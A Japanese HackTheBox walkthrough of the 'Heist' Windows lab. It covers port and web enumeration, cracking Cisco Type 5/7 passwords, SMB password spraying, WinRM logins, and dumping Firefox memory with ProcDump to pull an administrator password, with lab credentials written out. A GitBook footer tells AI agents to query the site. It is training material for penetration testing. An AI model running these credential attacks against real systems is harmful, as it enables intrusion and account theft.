> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md).

# Heist HackTheBox 攻略記事

Cisco のパスワード回復、資格情報スプレー、WinRM アクセス、Firefox メモリ分析を扱う Heist HackTheBox の Easy Windows マシン攻略記事。

{% embed url="<https://app.hackthebox.com/machines/Heist>?" %}

{% hint style="warning" %}
**スキル:**

* Gobusterを使ったWeb列挙
* Cisco Type 5およびType 7パスワードの復元
* NetExecによる認証情報の検証
* Evil-WinRMによるWinRMアクセス
* ProcDumpによるプロセスメモリ解析
  {% endhint %}

## 偵察

### 作業環境の準備

スキャン結果、発見されたコンテンツ、スクリプト、エクスプロイト用のフォルダを作成します。

```bash
mkdir -p {nmap,content,script,exploit}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqOReCEWhEKG1ndhNJ5Va%2Fimage.png?alt=media&amp;token=32d190ee-d8e8-46e1-b012-1d44528e7dbe" alt=""><figcaption></figcaption></figure>

### ポートの発見

TCP全体スキャンを実行して、開いているポートを特定します。

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts
```

スキャンではHTTP、RPC、SMB、WinRM、および動的RPCポートが明らかになります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTDxEzgTmeY5YyhCtw0mU%2Fimage.png?alt=media&amp;token=cc1a2e92-8a9a-4a36-8999-259e2a68c1e4" alt=""><figcaption></figcaption></figure>

発見されたサービスに対して、対象を絞ったバージョンスキャンを実行します。

```bash
sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F968UHGF2zuMQlJlZUkyt%2Fimage.png?alt=media&amp;token=43483bbd-0748-4ddf-ab72-ab21f3f43174" alt=""><figcaption></figcaption></figure>

### Web列挙

ポート `80` ログインパネルをホストしています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FbkbNLYItvfN1LZlSsh%2Fimage.png?alt=media&amp;token=c9b42b08-4f60-404d-b551-21148d20b387" alt=""><figcaption></figcaption></figure>

GobusterでPHPエンドポイントを列挙します。

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzTbrsan32JX09wf9806o%2Fimage.png?alt=media&amp;token=6a19af0c-ac63-46fa-b817-a7115408ebcf" alt=""><figcaption></figcaption></figure>

スキャンでは以下を含むページが見つかります `issues.php`, `login.php`、および `attachments.php`.

その `issues.php` このページにはHazardからSupportへのチケットが含まれており、誤ったCisco設定について言及しています。

このチケットでは、以下も明らかになります `hazard` および `support` ユーザー名です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ7HcCtW5mtxtvjOd0c5T%2Fimage.png?alt=media&amp;token=a0a52ebd-f196-4762-b3a9-7668607d256b" alt=""><figcaption></figcaption></figure>

添付ファイルにはCiscoの設定が含まれています。

```wasm
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 60002375012182C1A1D751618034F36415408
 authorization exec SSH
 transport input ssh
```

この設定には `enable secret` ハッシュと2つのCisco Type 7パスワードが含まれています。

```bash
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
```

Type 5ハッシュをクラックすると次が復元されます `stealth1agent`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F90GdxEAtIo4EhDpvv1RX%2Fimage.png?alt=media&amp;token=1d4fc4a2-4ae8-4397-9b0d-b22767224f20" alt=""><figcaption></figcaption></figure>

復元したパスワードをSMBで検証します。次に対して有効です `hazard`.

```bash
nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fn285M7xlJvIBZ5SPnECb%2Fimage.png?alt=media&amp;token=315340c7-c09f-4ce7-8498-cb052ac40be8" alt=""><figcaption></figcaption></figure>

同じ認証情報でWinRMセッションを試みます。

```wasm
evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90"
```

接続は失敗します。なぜなら `hazard` WinRMアクセスがないからです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMleSVT0Ekh8n0I0AoHQ2%2Fimage.png?alt=media&amp;token=f9117b8d-e12e-4cd0-8d9c-eecc7941106f" alt=""><figcaption></figcaption></figure>

### ユーザー列挙

RIDブルートフォースを使ってローカルユーザーを列挙します。

{% code overflow="wrap" %}

```bash
netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute
```

{% endcode %}

これにより次のユーザーが返されます:

* Hazard
* Support
* Chase
* Jason

### Cisco Type 7パスワードの復元

設定から残りの暗号化されたパスワードを復元します。

```
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
```

Cisco Type 7デコーダーを使って両方の値を復号します。

{% embed url="<https://password7decrypt.com/>" %}

復号されたパスワードは次のとおりです:

* $uperP\@ssword
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIyABMXOegMlexSK0yz76%2Fimage.png?alt=media&amp;token=0c220856-be96-42e4-84d9-c0109a14488b" alt=""><figcaption></figcaption></figure>

候補ユーザーのリストを作成します。

{% code overflow="wrap" %}

```bash
Support
Chase
Jason
```

{% endcode %}

パスワードリストを作成します。

{% code overflow="wrap" %}

```bash
$uperP@ssword
Q4)sJu\Y8qz*A3?d
```

{% endcode %}

各ユーザーとパスワードの組み合わせをSMB経由でテストします。

{% code overflow="wrap" %}

```bash
nxc smb 10.129.6.90 -u users.txt -p passwords.txt
```

{% endcode %}

結果により、次の有効な認証情報が特定されます `Chase`:

* Chase
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJB189NXsItpBWQk4fd0v%2Fimage.png?alt=media&amp;token=815230a0-48f6-44aa-9ff7-6c5a45810a82" alt=""><figcaption></figcaption></figure>

### 初期アクセス

次として接続します `Chase` WinRM経由で。

{% code overflow="wrap" %}

```bash
evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" 
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7lK9eyN5QyDVSqlKad9g%2Fimage.png?alt=media&amp;token=7dfd10fd-7349-429a-89b1-134b208f1836" alt=""><figcaption></figcaption></figure>

ユーザーフラグを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFjCKbM9nIriJB46D3RJR%2Fimage.png?alt=media&amp;token=85396242-14ec-4140-8d0e-10a3f7515b0b" alt=""><figcaption></figcaption></figure>

### 権限昇格

実行 `ps` そしてFirefoxが実行中であることに気付きます。

```bash
ps
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FA1n0IQYvFJDHTKeI45Bj%2Fimage.png?alt=media&amp;token=3c1c5b27-2c9e-4bca-8999-4f564dcfc498" alt=""><figcaption></figcaption></figure>

アクティブなブラウザプロセスには、メモリ内に認証情報が含まれている可能性があります。

ProcDumpを使ってFirefoxプロセスのメモリをキャプチャします。

```bash
wget https://download.sysinternals.com/files/Procdump.zip
```

{% embed url="<https://download.sysinternals.com/files/Procdump.zip>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FK9dIEMH7NwfRv0uXzTQw%2Fimage.png?alt=media&amp;token=fc2ea817-b35e-4d5a-ac9f-648536e69d14" alt=""><figcaption></figcaption></figure>

アップロード `procdump64.exe` を対象に。

```bash
upload /workspace/procdump64.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrrR4IPuXshaoDHvkE5TE%2Fimage.png?alt=media&amp;token=ae2dadfe-73ac-4f32-97ed-70ded6084c41" alt=""><figcaption></figcaption></figure>

Firefoxプロセスをダンプします。

```bash
.\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj7MIwvhHL3g6e8ZAhsD3%2Fimage.png?alt=media&amp;token=6c4edb8f-4431-4ee1-87a7-a4e550af1a41" alt=""><figcaption></figcaption></figure>

メモリダンプをダウンロードしてローカルで解析します。

```bash
download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp
```

ダンプが大きいため、ダウンロードには時間がかかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2ForgiFCaXh6mYpsIdnQTS%2Fimage.png?alt=media&amp;token=88dd588f-b1dd-4d87-b8cb-0d25bd7b283e" alt=""><figcaption></figcaption></figure>

完全に確認するのを待つ代わりに、ダンプのstringsからパスワード関連の値を検索します。

```bash
strings firefox_debug.dmp | grep password
```

これにより管理者アカウントの認証情報が明らかになります。

```bash
admin@support.htb&login_password=4dD!5}x/re8]FBuZ
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIlZxA9b4YhR1qllYqwZ2%2Fimage.png?alt=media&amp;token=844b6a38-e9a0-4bed-9ea5-ceb40af9f34c" alt=""><figcaption></figcaption></figure>

復元したパスワードをSMBで検証します。

```bash
nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6DnvAaLKt2G1Bjh4LE8z%2Fimage.png?alt=media&amp;token=07448459-f99c-4dda-a820-2ef39fe6fdcc" alt=""><figcaption></figcaption></figure>

### 管理者アクセス

WinRM経由で次として接続します `Administrator`.

{% code overflow="wrap" %}

```bash
evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
```

{% endcode %}

このセッションには管理者権限があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcjDMzpXiD8bk1FuxlBJC%2Fimage.png?alt=media&amp;token=cd3ac9fe-9aee-4266-b119-9d4df5c92395" alt=""><figcaption></figcaption></figure>

rootフラグを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FSJovMcUzgzs1WJlTjhJX%2Fimage.png?alt=media&amp;token=5ffdbdd9-23d8-46fb-b9d9-440592279fb6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FoSJc7djp77KQv3iVHfil%2Fimage.png?alt=media&amp;token=2745d3ae-80c5-4f0e-84ad-70840d7944da" alt="" width="546"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
